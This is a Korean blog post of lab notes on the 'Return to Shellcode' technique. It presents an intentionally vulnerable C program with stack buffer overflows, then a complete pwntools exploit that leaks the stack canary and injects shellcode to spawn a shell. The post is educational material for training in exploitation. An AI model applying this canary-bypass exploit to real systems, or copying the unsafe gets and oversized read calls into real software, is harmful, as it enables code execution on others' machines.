반응형

01 분석

1. 보호기법 탐지 

checksec : 보호기법을 파악할 때 주로 사용하는 툴

pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x50];

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

2. 취약점 탐색

(1) buf의 주소

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
        (char*)__builtin_frame_address(0) - buf);

이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와buf 사이의 주소 차이를 알려준다.

 

(2) 스택 버퍼 오버플로우

char buf[0x50];

read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

코드를 살펴보면 스택 버퍼인 buf에 총 두 번의 입력을 받는다.

두 입력에서 모두 오버프로우가 발생한다는 것을 알 수 있다.

 

이 취약점들을 이용해서 셸을 획득해야 한다.

 

3. 익스플로잇 시나리오

(1) 카나리 우회

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다.

따라서 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

예제에서는 위와 같이 첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.

 

(2) 셸 획득

카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다.

주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있다.

 

02 익스플로잇

1. 스택 프레임 구조 파악

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

pwntools 스크립트를 작성한다.

2. 카나리 릭

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야 한다.

buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다.

Stackframe

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

카나리를 구하도록 위의 코드를 추가한다.

3. 익스플로잇

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게 할 수 있다.

context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다.

Return to Shellcode
Exploit 실행 결과

4. 전체 익스플로잇

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

강의 요약

공격 기법의 조건

  1. 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.
  2. 실행 흐름을 옮길 수 있다. ← 스택 버퍼 오버플로우도 여기 포함됩니다.
반응형

'Dreamhack > System Hacking' 카테고리의 다른 글

ssp_001  (0) 2024.05.15
Return to Shellcode  (0) 2024.05.14
Mitigation: Stack Canary  (0) 2024.05.07
basic_exploitation_001  (0) 2024.05.07
basic_exploitation_000  (0) 2024.04.30